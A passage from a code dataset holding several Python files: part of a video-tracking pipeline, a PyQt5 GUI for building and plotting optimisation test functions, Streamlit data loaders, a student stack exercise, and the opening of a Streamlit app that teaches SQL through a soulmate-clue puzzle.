meta_object.data_df.to_csv(os.path.join(self.res_dir,\n                                                '{}.csv'.format('initialised')))\n\n        return meta_object\n\n    def process_windows_separately(self):\n        \"\"\" Process in parallel windows with algorithm\"\"\"\n        if not SystemParams.use_multiprocessing:\n            for single_obj in self.wind_objects:\n                window_processing(single_obj)\n        else:\n            num_cores = multiprocessing.cpu_count()\n            pool = multiprocessing.Pool(processes=num_cores)\n            self.wind_objects = [(i, None) for i in self.wind_objects]\n            pool.starmap(window_processing, self.wind_objects)\n            pool.close()\n\n    @staticmethod\n    def update_config_for_final():\n        AcceptanceParams.acc = 0.0\n        os.environ['experiment_name_final'] = os.environ.get('exp_name') + '_merged_processed_final'\n        os.environ['RES_DIR'] = os.path.join(\n            os.environ.get('EXP_DIR'),\n            os.environ.get('experiment_name_final'))\n        if not os.path.exists(os.environ.get('RES_DIR')):\n            os.makedirs(os.environ.get('RES_DIR'))\n\n    def final_merge_single(self, overlapped_windows):\n        \"\"\" Final merge, optional\"\"\"\n        self.update_config_for_final()\n        name = 'final'\n        meta_object = MetaPartition(None, overlapped_windows, self.homography, name)\n        file_dir = FileProcessing(meta_object, name)\n        file_dir.create_dir()\n        meta_object.add_observer(file_dir)\n        processed_meta = DataframeProcessing(meta_object)\n        meta_object.add_observer(processed_meta)\n        tracker_obj = TrackerMerger(processed_meta, meta_object, file_dir)\n\n        window_processing(tracker_obj, final_merge=True)\n        final_json = util.choose_best_csv_final_last(os.environ.get('RES_DIR'))\n        final_json_meta = pdu.read_multiindex_pd(final_json)\n        return final_json_meta\n\n\ndef load_and_clean_csv(csv_path):\n    curr_meta = pdu.read_multiindex_pd(csv_path)\n    curr_meta = curr_meta[~curr_meta['id'].isin(MetaProcessingParams.false_indexes)]\n    new_indexes = pdu.get_update_indexes_rule(curr_meta)\n    curr_meta = curr_meta.replace({'id': new_indexes})\n    curr_meta.to_csv(csv_path)\n    return curr_meta\n\n\ndef make_best_windows(path_to_meta_folder):\n    chosen_files = util.choose_csv_from_dir(path_to_meta_folder)\n    curr_meta = load_and_clean_csv(chosen_files[0])\n    all_info = curr_meta\n    indexes_curr = pdu.get_current_meta_indexes(curr_meta)\n    counter_curr = len(indexes_curr) + 1\n\n    for i in range(1, len(chosen_files)):\n        next_json_info = load_and_clean_csv(chosen_files[i])\n        all_info, counter_curr = pdu.merge_two_consecutive_windows(all_info, next_json_info,\n                                                                   counter_curr)\n    all_info.to_csv(\n        os.path.join(\n            path_to_meta_folder,\n            'final_processing_merged_MCMC.csv'))\n    return all_info\n\n\ndef window_processing(wind_obj, final_merge=None):\n    \"\"\" Processing of single window.\"\"\"\n\n    wind_obj.final_merge = final_merge\n    wind_obj.algo_iteration()\n","repo_name":"sigmaister/AcurusTrack","sub_path":"pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":11204,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"35"}
{"seq_id":"7824035150","text":"import json\nimport os\n\nfrom PyQt5.QtCore import Q_FLAGS\nfrom PyQt5.QtWidgets import QMainWindow, QMessageBox, QFileDialog, QLineEdit, QDoubleSpinBox, QLabel\n\nfrom gui.about_dialog import AboutDialog\nfrom gui.mainwindow_ui import UiMainWindow\n\nimport validation\nfrom gui.settings_window import SettingsWindow\nfrom methods.method_min_python import MethodMinPython\nfrom parameters import Parameters\nimport parser_field\nfrom test_func import test_func\nimport service\nimport settings\n\nfrom graph.graph_3d import Canvas3dGraph\nfrom graph.contour_graph import CanvasContourGraph\nfrom graph.slice_graph import CanvasSliceGraph\n\n\nclass MainWindow(QMainWindow):\n    def __init__(self, parent=None):\n        super().__init__(parent)\n        self.ui = UiMainWindow()\n        self.ui.setup_ui(self)\n\n        self.idx_func = 1\n        self.parameters = None\n        self.func = None\n        self.save_file_name = \"\"\n        self.settings_window = None\n\n        self.function_types = [\"feldbaum_function\", \"hyperbolic_potential_abs\", \"exponential_potential\"]\n\n        # графики\n        self.graph_3d = None\n        self.contour_graph = None\n        self.slice_graph_1 = None\n        self.slice_graph_2 = None\n\n        # кнопки\n        # self.ui.generate_code_python_func.clicked.connect(self.generate_code)\n        self.ui.clear_field_btn.clicked.connect(self.clear_edits)\n        self.ui.draw_graph_btn.clicked.connect(self.draw_graph)\n        self.ui.find_func_btn.clicked.connect(\n            lambda: self.get_func_value(self.ui.point, self.ui.point_label.text(), self.ui.func_value, show_message=True))\n        self.ui.reset_plot.clicked.connect(self.reset_plot)\n        self.ui.add_noise_btn.clicked.connect(self.add_noise)\n        self.ui.save_min_max.clicked.connect(self.save_min_max)\n\n        # действия\n        self.ui.actionOpenJson.triggered.connect(self.import_json)\n        self.ui.actionSave.triggered.connect(self.save_parameters_in_json)\n        self.ui.actionQuit.triggered.connect(self.close)\n        self.ui.actionAbout.triggered.connect(self.open_about_dialog)\n        self.ui.actionSettings.triggered.connect(self.open_settings_window)\n        # self.ui.actionHelp.triggered.connect(self.open_help)\n\n        self.ui.max_func_coord.editingFinished.connect(\n            lambda: self.get_func_value(self.ui.max_func_coord, \"\", self.ui.max_func, show_message=False))\n        self.ui.min_func_coord.editingFinished.connect(\n            lambda: self.get_func_value(self.ui.min_func_coord, \"\", self.ui.min_func, show_message=False))\n\n    def generate_code(self):\n        # TODO: добавить комментарии\n        if self.parameters is None:\n            self.parameters = self.read_parameters_function()\n        func_type = self.read_type()\n        if not (self.parameters is None):\n            if func_type == self.function_types[0]:\n                method = MethodMinPython()\n                file_name = service.get_file_name(self.parameters.idx, pattern=\"test_func\", expansion=\".py\")\n                method.generate_function(self.idx_func, file_name, self.parameters)\n            elif func_type == self.function_types[1]:\n                pass\n            elif func_type == self.function_types[2]:\n                pass\n            self.ui.statusBar.showMessage(\"Генерация кода успешно завершена\", 5000)\n            # self.parameters = None\n            # method = None\n\n    def read_parameters_function(self):\n        # TODO: добавить комментарии\n        self.idx_func, er = parser_field.parse_number(self.ui.idx_func.value(), self.ui.idx_func_label)\n        if er != \"\":\n            self.display_error_message(er)\n            return\n        number_extrema, er = parser_field.parse_number(self.ui.number_extrema.value(), self.ui.number_extrema_label)\n        if er != \"\":\n            self.display_error_message(er)\n            return\n        coordinates, er = parser_field.parse_coordinates(self.ui.coordinates.text())\n        if er != \"\":\n            self.display_error_message(er)\n            return\n        function_values, er = parser_field.parse_field(self.ui.function_values.text(),\n                                                       self.ui.function_values_label.text())\n        if er != \"\":\n            self.display_error_message(er)\n            return\n        degree_smoothness, er = parser_field.parse_field(self.ui.degree_smoothness.text(),\n                                                         self.ui.degree_smoothness_label.text())\n        if er != \"\":\n            self.display_error_message(er)\n            return\n        coefficients, er = parser_field.parse_field(self.ui.coefficients_abruptness_function.text(),\n                                                    self.ui.coefficients_abruptness_function_label.text())\n        if er != \"\":\n            self.display_error_message(er)\n            return\n        func_type = self.read_type()\n        constraints_high, er = parser_field.parse_field(self.ui.constraints_high.text(),\n                                                        self.ui.constraints_x1_label.text())\n        if er != \"\":\n            self.display_error_message(er)\n            return\n        constraints_down, er = parser_field.parse_field(self.ui.constraints_down.text(),\n                                                        self.ui.constraints_x2_label.text())\n        if er != \"\":\n            self.display_error_message(er)\n            return\n        global_min, er = parser_field.parse_field(self.ui.min_func_coord.text(), self.ui.min_label.text())\n        if er != \"\":\n            self.display_error_message(er)\n            return\n        global_max, er = parser_field.parse_field(self.ui.max_func_coord.text(), self.ui.max_label.text())\n        if er != \"\":\n            self.display_error_message(er)\n            return\n\n        if len(global_min) != len(global_max) or len(global_min) != len(coordinates[0]):\n            error = \"Поля координат глобального минимума или максимума заполенны некорректно!\"\n            self.display_error_message(error)\n            return None\n        if func_type != \"\":\n            p = Parameters(self.idx_func, func_type, number_extrema, coordinates, function_values,\n                           degree_smoothness, coefficients, constraints_high, constraints_down,\n                           global_min, global_max, min_f=self.ui.min_func.value(), max_f=self.ui.max_func.value())\n            ok = validation.validation_parameters(p, func_type)\n            if not ok:\n                error = \"Одно или несколько полей заполнены некорректно!\"\n                self.display_error_message(error)\n                return None\n            else:\n                return p\n\n    def read_type(self):\n        \"\"\"\n        Функция определения метода конструирования тестовой функции.\n        :return: Если выбран чекбокс method_min - тип будет \"method_min\"\n                 Если выбран чекбокс hyperbolic_potential - тип будет \"hyperbolic_potential\"\n                 Если выбран чекбокс exponential_potential - тип будет \"exponential_potential\"\n                 Если не выбран ни один чекбокс выведется сообщение об ошибке\n        \"\"\"\n        func_type = \"\"\n        if self.ui.method_min.isChecked():\n            func_type = self.function_types[0]\n        elif self.ui.hyperbolic_potential.isChecked():\n            func_type = self.function_types[1]\n        elif self.ui.exponential_potential.isChecked():\n            func_type = self.function_types[2]\n        else:\n            error = \"Выберите метод конструирования тестовой функции!\"\n            self.display_error_message(error)\n        return func_type\n\n    def display_error_message(self, error: str):\n        \"\"\"\n        Метод вывода сообщение об ошибке на экран\n        :param error: текст ошибки\n        :return: -\n        \"\"\"\n        info = QMessageBox.information(\n            self, 'Внимание!', error,\n            QMessageBox.Cancel, QMessageBox.Cancel\n        )\n\n    def import_json(self):\n        \"\"\"Метод импорта параметров тестовой функции из json-файла посредством вызова диалогового окна,\n        если считывание прошло неудачно, то выводится сообщение об ошибке\"\"\"\n        self.clear_edits()\n        file_name, _ = QFileDialog.getOpenFileName(\n            self, \"Открыть json-файл ...\", \"/home\", \"Json-Files (*.json);;All Files (*)\"\n        )\n\n        if file_name:\n            self.save_file_name = file_name\n            with open(file_name, 'r', encoding=\"utf-8\") as f:\n                data = f.read()\n            try:\n                p = json.loads(data)\n                self.parameters = service.dict_in_obj(p)\n                self.print_parameters_in_edit()\n            except ValueError:\n                error = \"Файл заполнен некорректно\"\n                self.display_error_message(error)\n            self.ui.statusBar.showMessage(\"Данные импортированы\", 5000)\n\n    def print_parameters_in_edit(self):\n        \"\"\"Вывод параметров тестовой функции на экран\"\"\"\n        del_square_brackets = slice(1, -1, 1)\n        self.activate_radio_btn()\n        self.ui.coefficients_abruptness_function.setText(\n            str(self.parameters.coefficients_abruptness)[del_square_brackets])\n        self.ui.number_extrema.setValue(self.parameters.number_extrema)\n        self.ui.function_values.setText(str(self.parameters.func_values)[del_square_brackets])\n        self.ui.degree_smoothness.setText(str(self.parameters.degree_smoothness)[del_square_brackets])\n        self.ui.coordinates.setText(str(self.parameters.coordinates)[del_square_brackets])\n        self.ui.constraints_high.setText(str(self.parameters.constraints_high)[del_square_brackets])\n        self.ui.constraints_down.setText(str(self.parameters.constraints_down)[del_square_brackets])\n        self.ui.min_func.setValue(self.parameters.min_value)\n        self.ui.max_func.setValue(self.parameters.Max_value)\n\n        self.ui.min_func_coord.setText(str(self.parameters.global_min)[del_square_brackets])\n        self.ui.max_func_coord.setText(str(self.parameters.global_max)[del_square_brackets])\n\n    def activate_radio_btn(self):\n        \"\"\"При загрузке тестовой функции из json файла выбирает чекбокс, \n        который соответствует типу тестовой функции\"\"\"\n        t = self.parameters.get_type()\n        if t == self.function_types[0]:\n            self.ui.method_min.setChecked(True)\n        elif t == self.function_types[1]:\n            self.ui.hyperbolic_potential.setChecked(True)\n        elif t == self.function_types[2]:\n            self.ui.exponential_potential.setChecked(True)\n\n    def delete_widget(self, layout):\n        \"\"\"\n        Метод удаления виджетов из лайаута (в основном графиков)\n        :param layout: контейнер типя Layout\n        :return: -\n        \"\"\"\n        for i in range(layout.count()):\n            item = layout.itemAt(i).widget()\n            if item is not None:\n                item.close()\n                item.deleteLater()\n            else:\n                layout.takeAt(i)\n\n    # def delete_widget(self, widget):\n    #     for i in range(widget.count()):\n    #         item = widget.itemAt(0)\n    #         widget.removeItem(item)\n\n    def reset_plot(self):\n        self.graph_3d = None\n        self.contour_graph = None\n        self.slice_graph_1 = None\n        self.slice_graph_2 = None\n        self.delete_widget(self.ui.v_box_3d_graph)\n        self.delete_widget(self.ui.v_box_contour_graph)\n        self.delete_widget(self.ui.v_box_slice_graph1)\n        self.delete_widget(self.ui.v_box_slice_graph2)\n\n    def clear_edits(self):\n        \"\"\"Метод очистки текстовых полей и удаления открытых графиков\"\"\"\n        self.ui.coefficients_abruptness_function.setText(self.ui.translate(\"MainWindow\", \"\"))\n        self.ui.number_extrema.setValue(1)\n        self.ui.function_values.setText(self.ui.translate(\"MainWindow\", \"\"))\n        self.ui.degree_smoothness.setText(self.ui.translate(\"MainWindow\", \"\"))\n        self.ui.coordinates.setText(self.ui.translate(\"MainWindow\", \"\"))\n        self.ui.constraints_high.setText(self.ui.translate(\"MainWindow\", \"\"))\n        self.ui.constraints_down.setText(self.ui.translate(\"MainWindow\", \"\"))\n        self.ui.slice_expr_x1.setText(self.ui.translate(\"MainWindow\", \"0\"))\n        self.ui.slice_expr_x2.setText(self.ui.translate(\"MainWindow\", \"0\"))\n\n        self.ui.max_func.setValue(0)\n        self.ui.min_func.setValue(0)\n        self.ui.amp_noise.setValue(0)\n        self.ui.func_value.setText(self.ui.translate(\"MainWindow\", \"42\"))\n        self.ui.point.setText(self.ui.translate(\"MainWindow\", \"0, 0\"))\n\n        self.graph_3d = None\n        self.contour_graph = None\n        self.slice_graph_1 = None\n        self.slice_graph_2 = None\n\n        self.delete_widget(self.ui.v_box_3d_graph)\n        self.delete_widget(self.ui.v_box_contour_graph)\n        self.delete_widget(self.ui.v_box_slice_graph1)\n        self.delete_widget(self.ui.v_box_slice_graph2)\n\n        self.idx_func = 1\n        self.parameters = None\n        self.func = None\n        self.save_file_name = None\n\n        self.ui.statusBar.showMessage(\"Зло не дремлет. И мы не должны.\", 5000)\n\n    def save_parameters_in_json(self):\n        \"\"\"Метод сохранения параметров тестовой функции в json-файл посредством вызова диалогового окна\"\"\"\n        # TODO: json поддерживает преобразование None в nill\n        self.parameters = self.read_parameters_function()\n        file_name, _ = QFileDialog.getOpenFileName(\n            self, \"Открыть json-файл ...\", \"/home\", \"Json-Files (*.json);;All Files (*)\"\n        )\n\n        if file_name:\n            self.save_file_name = file_name\n            d = self.parameters.__dict__\n            if d[\"min_value\"] is None:\n                d[\"min_value\"] = 0\n            if d[\"Max_value\"] is None:\n                d[\"Max_value\"] = 0\n            data = json.dumps(d, indent=4)\n            with open(file_name, 'w') as f:\n                f.write(data)\n\n        self.ui.statusBar.showMessage(\"Сохранение параметров успешно завершено\", 5000)\n\n    def save_min_max(self):\n        if self.save_file_name and (not (self.parameters is None)):\n            self.parameters.set_min_f(self.ui.min_func.value())\n            self.parameters.set_max_f(self.ui.max_func.value())\n            self.parameters.global_max, er = parser_field.parse_number_list(self.ui.max_func_coord.text(), \"\")\n            if er != \"\":\n                self.display_error_message(\"Координаты глобального максимума введены некорректно\")\n                return\n            self.parameters.global_min, er = parser_field.parse_number_list(self.ui.min_func_coord.text(), \"\")\n            if er != \"\":\n                self.display_error_message(\"Координаты глобального минимума введены некорректно\")\n                return\n            with open(self.save_file_name, 'r') as f:\n                js_data = json.load(f)\n            with open(self.save_file_name, 'w') as f:\n                js_data[\"min_value\"] = self.parameters.get_min_f()\n                js_data[\"Max_value\"] = self.parameters.get_max_f()\n                js_data[\"global_max\"] = self.parameters.global_max\n                js_data[\"global_min\"] = self.parameters.global_min\n                js_data[\"amp_noise\"] = abs(self.parameters.get_max_f() - self.parameters.get_min_f()) / 2\n                json.dump(js_data, f, indent=4)\n        self.ui.statusBar.showMessage(\"Сохранение экстремумов успешно завершено\", 5000)\n\n    def draw_graph(self):\n        self.parameters = self.read_parameters_function()\n        # TODO: добавить комментарии\n\n        expr_x1 = self.ui.slice_expr_x1.text()\n        expr_x2 = self.ui.slice_expr_x2.text()\n\n        # TODO: написать функцию validation для ограничений, != [], x[0]<x[1]\n        if (self.parameters is not None) and (self.parameters.constraints_high != []) and (self.parameters.constraints_down != []):\n            self.graph_3d = None\n            self.contour_graph = None\n            self.slice_graph_1 = None\n            self.slice_graph_2 = None\n            self.delete_widget(self.ui.v_box_3d_graph)\n            self.delete_widget(self.ui.v_box_contour_graph)\n            self.delete_widget(self.ui.v_box_slice_graph1)\n            self.delete_widget(self.ui.v_box_slice_graph2)\n\n            method_type = self.read_type()\n            if method_type != \"\":\n                self.func = self.get_func(method_type)\n\n                self.graph_3d = Canvas3dGraph()\n                self.create_layout_with_graph(self.ui.v_box_3d_graph, self.graph_3d, self.parameters.constraints_high, self.parameters.constraints_down,\n                                              title=\"F\" + str(self.idx_func), legend_title=\"F\" + str(self.idx_func))\n\n                self.contour_graph = CanvasContourGraph()\n                self.create_layout_with_graph(self.ui.v_box_contour_graph, self.contour_graph,\n                                              self.parameters.constraints_high, self.parameters.constraints_down,\n                                              xlabel=settings.Settings.settings['xlabel'].value,\n                                              ylabel=settings.Settings.settings['ylabel'].value,\n                                              title=\"F\" + str(self.idx_func), legend_title=\"F\" + str(self.idx_func))\n\n                if (expr_x1 != \"\") and (expr_x2 != \"\"):\n                    self.slice_graph_1 = CanvasSliceGraph()  # self.ui.v_box_slice_graph1\n                    self.create_layout_with_graph(self.ui.v_box_slice_graph1, self.slice_graph_1,\n                                                  self.parameters.constraints_high, self.parameters.constraints_down,\n                                                  expression=expr_x1, axes=0, amp_noise=0,\n                                                  xlabel=settings.Settings.settings['ylabel'].value,\n                                                  ylabel=\"F\" + str(self.idx_func),\n                                                  title=settings.Settings.settings['xlabel'].value + '=' + expr_x1, )\n\n                    self.slice_graph_2 = CanvasSliceGraph()  # self.ui.v_box_slice_graph2\n                    self.create_layout_with_graph(self.ui.v_box_slice_graph2, self.slice_graph_2,\n                                                  self.parameters.constraints_high, self.parameters.constraints_down,\n                                                  expression=expr_x2, axes=1, amp_noise=0,\n                                                  xlabel=settings.Settings.settings['xlabel'].value,\n                                                  ylabel=\"F\" + str(self.idx_func),\n                                                  title=settings.Settings.settings['ylabel'].value + '=' + expr_x2, )\n                self.ui.statusBar.showMessage(\"Графики успешно построены\", 5000)\n            else:\n                self.display_error_message(\"Выберите метод конструирования тестовой функции\")\n        else:\n            self.display_error_message(\"Что-то пошло не так\")\n\n    def create_layout_with_graph(self, layout, graph_obj, constraints_high, constraints_down,\n                                 xlabel=\"${x}{_1}$\", ylabel=\"${x}{_2}$\", title=\"F\", legend_title=\"F\",\n                                 **kwargs):\n        toolbar = graph_obj.get_toolbar()\n        layout.addWidget(toolbar)\n        layout.addWidget(graph_obj)\n        graph_obj.create_graph(constraints_high, constraints_down, self.func,\n                               h=settings.Settings.settings['grid_spacing'].value,\n                               **kwargs)  # expr_x=expr_x, expr_y=expr_y, amp_noise=amp_noise, delta=delta\n        graph_obj.set_labels(xlabel=xlabel, ylabel=ylabel, title=title,\n                             legend_title=legend_title + str(self.idx_func))\n\n    def add_noise(self):\n        # TODO: добавить комментарии\n        constraints_x, er = parser_field.parse_number_list(self.ui.constraints_high.text(),\n                                                           self.ui.constraints_x1_label.text())\n        if er != \"\":\n            self.display_error_message(er)\n            return\n        constraints_y, er = parser_field.parse_number_list(self.ui.constraints_down.text(),\n                                                           self.ui.constraints_x2_label.text())\n        if er != \"\":\n            self.display_error_message(er)\n            return\n        expr_x1 = self.ui.slice_expr_x1.text()\n        expr_x2 = self.ui.slice_expr_x2.text()\n        amp_noise = self.get_amp_noise()\n        if (self.parameters is not None) and (self.func is not None) and (amp_noise >= 0):\n            self.contour_graph = None\n            self.delete_widget(self.ui.v_box_contour_graph)\n            self.contour_graph = CanvasContourGraph()\n            contour_graph_toolbar = self.contour_graph.get_toolbar()\n            self.ui.v_box_contour_graph.addWidget(contour_graph_toolbar)\n            self.ui.v_box_contour_graph.addWidget(self.contour_graph)\n            self.contour_graph.create_graph(constraints_x, constraints_y, self.func,\n                                            h=settings.Settings.settings['grid_spacing'].value, delta=1,\n                                            amp_noise=amp_noise)\n            self.contour_graph.set_labels(settings.Settings.settings['xlabel'].value,\n                                          settings.Settings.settings['ylabel'].value,\n                                          \"F\" + str(self.idx_func), \"F\" + str(self.idx_func))\n\n        if (constraints_x != []) and (constraints_y != []) and (not (self.parameters is None)) and (not (self.func is None)):\n            if (expr_x1 != \"\") and (expr_x2 != \"\") and (amp_noise >= 0):\n                h = settings.Settings.settings['chart_step'].value\n                self.slice_graph_1 = None\n                self.slice_graph_2 = None\n                self.delete_widget(self.ui.v_box_slice_graph1)\n                self.delete_widget(self.ui.v_box_slice_graph2)\n\n                self.slice_graph_1 = CanvasSliceGraph()\n                slice_graph_1_toolbar = self.slice_graph_1.get_toolbar()\n                self.ui.v_box_slice_graph1.addWidget(slice_graph_1_toolbar)\n                self.ui.v_box_slice_graph1.addWidget(self.slice_graph_1)\n                self.slice_graph_1.create_graph(constraints_x, constraints_y, self.func, expression=expr_x1, h=h,\n                                                amp_noise=amp_noise)\n                self.slice_graph_1.set_labels(xlabel=settings.Settings.settings['ylabel'].value,\n                                              ylabel=\"F\" + str(self.idx_func),\n                                              title=settings.Settings.settings['xlabel'].value + \"=\" + expr_x1,\n                                              legend_title=\"F\" + str(self.idx_func))\n\n                self.slice_graph_2 = CanvasSliceGraph()\n                slice_graph_2_toolbar = self.slice_graph_2.get_toolbar()\n                self.ui.v_box_slice_graph2.addWidget(slice_graph_2_toolbar)\n                self.ui.v_box_slice_graph2.addWidget(self.slice_graph_2)\n                self.slice_graph_2.create_graph(constraints_x, constraints_y, self.func,\n                                                expression=expr_x2, h=h, amp_noise=amp_noise)\n                self.slice_graph_2.set_labels(xlabel=settings.Settings.settings['xlabel'].value,\n                                              ylabel=\"F\" + str(self.idx_func),\n                                              title=settings.Settings.settings['ylabel'].value + \"=\" + expr_x2,\n                                              legend_title=\"F\" + str(self.idx_func))\n                self.ui.statusBar.showMessage(\"На графики срезов добавлена аддитивная помеха\", 5000)\n\n    def get_func(self, method_type):\n        f = None\n        if method_type == self.function_types[0]:\n            f = test_func.get_test_function_method_min(\n                self.parameters.get_number_extrema(),\n                self.parameters.get_coefficients_abruptness(),\n                self.parameters.get_coordinates(),\n                self.parameters.get_degree_smoothness(),\n                self.parameters.get_function_values()\n            )\n        elif method_type == self.function_types[1]:\n            f = test_func.get_tf_hyperbolic_potential_abs(\n                self.parameters.get_number_extrema(),\n                self.parameters.get_coefficients_abruptness(),\n                self.parameters.get_coordinates(),\n                self.parameters.get_degree_smoothness(),\n                self.parameters.get_function_values()\n            )\n        elif method_type == self.function_types[2]:\n            f = test_func.get_tf_exponential_potential(\n                self.parameters.get_number_extrema(),\n                self.parameters.get_coefficients_abruptness(),\n                self.parameters.get_coordinates(),\n                self.parameters.get_degree_smoothness(),\n                self.parameters.get_function_values()\n            )\n        return f\n\n    def get_amp_noise(self):\n        \"\"\"Метод расчета амплитуды шума.\n        Считывает коэффициент шум/сигнал, минимум и максимум\n        Амплитуда = коэффициент шум/сигнал * (максимум - минимум) / 2\"\"\"\n        k_noise = self.ui.amp_noise.value()\n        min_f = self.ui.min_func.value()\n        max_f = self.ui.max_func.value()\n        amp = k_noise * abs(max_f - min_f) / 2\n        if amp == 0:\n            error = \"Что-то пошло не так!\"\n            self.display_error_message(error)\n            return -1\n        else:\n            return amp\n\n    def open_about_dialog(self):\n        \"\"\"Метод открытия окна \"О программе\" \"\"\"\n        self.about = AboutDialog(flags=Q_FLAGS())\n        self.about.show()\n\n    def open_settings_window(self):\n        \"\"\"Метод открытия окна \"Настройки\" \"\"\"\n        if self.settings_window is None:\n            self.settings_window = SettingsWindow(self)\n            self.settings_window.show()\n\n    # def open_help(self):\n    #     script_path = os.path.dirname(os.path.abspath(__file__))\n    #     help_path = os.path.join(script_path, '../resources/help.chm')\n    #     # os.system(\"hh.exe d:/help.chm::/4_Userguide.htm#_Toc270510\")\n    #     os.system(\"hh.exe \" + help_path)\n\n    def get_func_value(self, field, name, res, show_message: bool = False):\n        \"\"\"расчитывает значение в точке, координаты которой введены пользователем\"\"\"\n        x, er = parser_field.parse_number_list(field.text(), name)\n        if er != \"\":\n            self.display_error_message(er)\n            return\n        if not (self.func is None):\n            if len(x) == self.parameters.get_dimension():\n                y = self.func(x)\n                if type(res) == QLineEdit or type(res) == QLabel:\n                    res.setText(self.ui.translate(\"MainWindow\", str(y)))\n                elif type(res) == QDoubleSpinBox:\n                    res.setValue(y)\n                return y\n            else:\n                error = \"Exterminate all the bugs!\"\n                if show_message:\n                    self.display_error_message(error)\n        else:\n            error = \"Ученик, магия тебя ждать не будет!\"\n            if show_message:\n                self.display_error_message(error)\n","repo_name":"redb0/tf-generator","sub_path":"gui/mainwindow.py","file_name":"mainwindow.py","file_ext":"py","file_size_in_byte":28733,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"5961032730","text":"import pandas as pd\nimport streamlit as st\n\n@st.cache\ndef load_workloads(system: str):\n    df = pd.read_csv(f'resources/{system}/measurements.csv')\n    workloads = df.workload.unique()\n    return workloads\n    \n@st.cache\ndef load_performance(system: str, workload: str, kpi: str):\n    df = pd.read_csv(f'resources/{system}/measurements.csv')\n    df = df[df['workload'] == workload]\n    df = df.loc[:, ['config_id', kpi]]\n    return df\n\n@st.cache\ndef load_sample(system: str):\n    df = pd.read_csv(f'resources/{system}/sample.csv')\n    return df\n\n@st.cache\ndef load_options(system: str, kpi: str):\n    df = pd.read_csv(f'resources/{system}/sample.csv')\n    options = set(df.columns) - set(['config_id', kpi])\n    return sorted(options)\n\n@st.cache\ndef load_coverage(system: str, option: str):\n    df = pd.read_csv(f'resources/{system}/code/option_code/{option}.csv')\n    return df\n\n@st.cache\ndef load_coverage(system: str, option: str, workload: str):\n    df = pd.read_csv(f'resources/{system}/code/workload_specific/{option}/{workload}.csv')\n    return df\n","repo_name":"AI-4-SE/workload_coverage_companion","sub_path":"dashboard/lib/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71687861860","text":"stackData = [\" \" for i in range (10)] # declare array [0:1] of integer\r\nstackPointer = 0 # declare stackPointer integer\r\n# our stackPointer is quite unconventional. this one points to the next available space instead\r\n# of top of stack\r\n\r\n#output initial stack and pointer\r\nprint(\"The stack initially: \")\r\nprint(stackData)\r\nprint(\"The current stackpointer is at index:\", stackPointer)\r\n\r\ndef Push(newItem):\r\n    global stackPointer\r\n    if stackPointer < 10: # must less than 10 cuz 9 is the final index. if sP points to 10, means end of stack\r\n        stackPointer = stackPointer + 1\r\n        stackData[stackPointer-1] = newItem # sp -1 cuz of the same reason\r\n        return True\r\n    else:\r\n        return False\r\n\r\n# since they said \"allow user to enter\" thus must use input()\r\n\r\nfor i in range(11):\r\n    newItem = int(input(\"Please enter an integer: \"))\r\n    if Push(newItem) == True:\r\n        print(\"Push successful\")\r\n    else:\r\n        print(\"Push failed. Stack is full\")\r\n\r\nprint(\"Here's the stack after attempting to add all 11 numbers:\")\r\nprint(stackData)\r\nprint(\"The current stackpointer is at index:\", stackPointer)\r\n\r\n# test data with numbers 11 until 20. screenshot\r\n\r\ndef Pop():\r\n    global stackPointer\r\n    if stackPointer > 0: # sP = 0 means empty stack. it therefore points to the very first index which is 0\r\n        removedItem = stackData[stackPointer-1]\r\n        stackData[stackPointer-1] = \" \"\r\n        stackPointer = stackPointer - 1\r\n        return removedItem\r\n    else:\r\n        return -1\r\n\r\n# finally pop twice then output the content after the inputting the test datas\r\n\r\nPop()\r\nPop()\r\nprint(\"Here's the stack after popping twice:\")\r\nprint(stackData)\r\nprint(\"The current stackpointer is at index:\", stackPointer)\r\n","repo_name":"nshuk/A2-Practicals","sub_path":"2023.11.22 - Practical 2.py","file_name":"2023.11.22 - Practical 2.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12784944002","text":"import streamlit as st\nimport pandas as pd \nimport numpy as np\n\n\n\n# DB managament\nimport sqlite3\nconn = sqlite3.connect('data/data3.sqlite')\nc = conn.cursor()\n\n# function to execute sql queries \ndef sql_executor(raw_code):\n    c.execute(raw_code)\n    data = c.fetchall()\n    return data\n\n# function to format the sql console\ndef sql_console(unique_key):\n    with st.container():\n        with st.form(key=unique_key):\n            raw_code = st.text_area(\"SQL code here\")\n            submit_code = st.form_submit_button(\"Execute query\")\n                \n        with st.container():\n            if submit_code:\n                st.info(\"Query submitted\")\n\n                # results\n                query_results = sql_executor(raw_code)\n                # get the column names of returned query \n                cols = [column[0] for column in c.description]\n\n                # create dataframe and pass column names\n                query_df = pd.DataFrame(query_results, columns=cols)\n                st.dataframe(query_df)\n\n# dictionary \nauthors = ['Name', 'Website', 'Bio']\ncountry = ['Code,', 'Name,', 'Continent,', 'Region,', 'SurfaceArea,', 'IndepYear,', 'Population,', 'LifeExpectancy,', 'GNP,', 'GNPOld,', 'LocalName,', 'GovernmentForm,', 'HeadOfState,', 'Capital,', 'Code2']\ncountrylanguage = ['CountryCode,', 'Language,', 'IsOfficial,', 'Percentage']\n\n# Main \ndef main():\n\n    menu = [\"Home\", \"About\"]\n    choice = st.sidebar.selectbox(\"Menu\", menu)\n\n    if choice == \"Home\":\n\n        # container\n        with st.container():\n            st.header(\"Story Setting\")\n            st.markdown(\"\"\"\n            When people turn 28, a temporary tattoo appears on their wrist for 48 hours with the name and last name of their soulmate. On Haven’s 28th birthday, they didn’t see a name, but a tattoo showing [clue].\n            \"\"\")\n\n            with st.expander(\"Click to reveal tattoo\"):\n                st.image(\"https://images.all-free-download.com/images/graphiclarge/flora_tattoo_template_black_white_handdrawn_3d_sketch_6843589.jpg\")\n\n            st.markdown(\"\"\"\n            Puzzled, Haven goes to the elders of the village to ask whether there is any precedent.\n            \n            The elders mention that if Haven received a clue, their soulmate also did. There is a way to understand based on the clue – but it will require some digging and to acquire a new skill to find the answer – Structured Query Language (a.k.a. SQL)! \n            They direct Haven to the library where they can find historical information of all soulmates who have been matched for the past 5 years in the entire country, which has been digitized and stored on a database.\n            